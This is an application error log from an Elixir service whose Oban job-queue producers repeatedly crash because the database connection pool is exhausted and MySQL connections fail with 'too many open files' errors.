    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:54:26.246597Z], limit: 20, uuid: "c7819ce0-9d10-4b2d-99e7-c927d62f89fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.246603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241798>, refresh_timer: #Reference<0.2525715032.1068236804.241783>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:54:26.240149Z], limit: 10, uuid: "daf19958-fd29-4c8b-999c-43830fdf2cc1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.240159Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100039>, refresh_timer: #Reference<0.2525715032.1121189889.100025>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:54:26.241435Z], limit: 5, uuid: "0572bafe-1db0-4a3b-bcdc-aa87f8dec9af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.241440Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241799>, refresh_timer: #Reference<0.2525715032.1068236804.241767>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:40.628000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:42.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:43.771000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:44.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:46.017000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:46.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:47.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:54:38.239199Z], limit: 5, uuid: "ff47c01c-7ba1-49d8-9dca-8570ca739dc7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.239205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242132>, refresh_timer: #Reference<0.2525715032.1099169794.249991>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:54:38.240156Z], limit: 50, uuid: "c8ad9cb5-4251-49b7-85ad-ba6903688be0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.240161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242134>, refresh_timer: #Reference<0.2525715032.1077411843.224897>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:54:38.240366Z], limit: 20, uuid: "a79c2998-1cc2-4370-8493-4fa360e38b00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.240372Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250011>, refresh_timer: #Reference<0.2525715032.1099169794.250003>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:54:38.238333Z], limit: 3, uuid: "4aaf3ee5-55f0-461f-b100-c31a9e314ddd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.238340Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250012>, refresh_timer: #Reference<0.2525715032.1077411843.224886>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:54:38.241334Z], limit: 10, uuid: "130b3d94-b456-44ea-8b19-f2c76512ec31", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.241339Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242131>, refresh_timer: #Reference<0.2525715032.1068236804.242117>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:54:38.242468Z], limit: 5, uuid: "c7516c5d-2f71-4bf1-88f8-ff0a6376aac5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:38.242473Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.242133>, refresh_timer: #Reference<0.2525715032.1077411843.224927>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:51.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:53.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:54.940000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:56.300000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:57.201000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
